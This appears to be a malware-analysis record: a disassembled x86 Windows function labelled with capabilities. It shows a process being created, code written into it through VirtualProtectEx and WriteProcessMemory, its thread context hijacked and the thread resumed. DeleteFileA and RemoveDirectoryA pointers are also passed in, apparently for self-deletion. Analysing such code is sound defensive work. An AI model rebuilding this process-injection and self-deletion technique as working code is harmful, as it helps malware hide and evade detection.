Function at 0x40678a
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x43332b
call fcn.00427498
sub esp, 0xebc
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0x11]
mov edi, 0x4364bc
mov esi, 0x4364b4
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.00402838
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004021e9
mov dword [ebp - 0x10], eax
mov ecx, dword [eax]
mov byte [ebp - 4], 1
call fcn.00402d6a
mov ecx, dword [ebp - 0x10]
push 0x104
push eax
push ebx
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004022fb
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402a71
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403b2d
call fcn.00422056
add esp, 0x28
cmp al, bl
jne 0x406867
cmp byte [ebp + 8], bl
je 0x406a4d
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403b2d
call fcn.00422056
add esp, 0x28
cmp al, bl
je 0x406a4d
mov esi, 0x43d150
lea edi, [ebp - 0x1cc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1bf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4068c7
mov byte [ebp + 0xb], bl
jmp 0x406a51
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xec4]
mov dword [ebp - 0xec8], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 0x104
mov dword [ebp - 0x6c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6b8], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6b0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp + 8]
push esi
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x6a4], al
call fcn.00402d6a
push eax
lea eax, [ebp - 0x6a3]
push eax
call fcn.00427700
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x406967
push esi
lea ecx, [ebp - 0x84]
call fcn.00402d6a
push eax
lea eax, [ebp - 0x59f]
push eax
call fcn.00427700
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x6c4]
push ebx
push eax
push dword [ebp - 0x24]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x406b16
mov eax, 0x406a7d
sub ecx, eax
cmp ecx, 0x800
ja 0x4068bf
push ecx
push eax
lea eax, [ebp - 0xec4]
push eax
call fcn.00427df0
add esp, 0xc
lea eax, [ebp - 0x498]
mov dword [ebp - 0x498], 0x10003
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3d4]
mov edi, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xec8], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3d4], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3e0], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0xec8]
push edi
push eax
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401cf2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401cf2
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret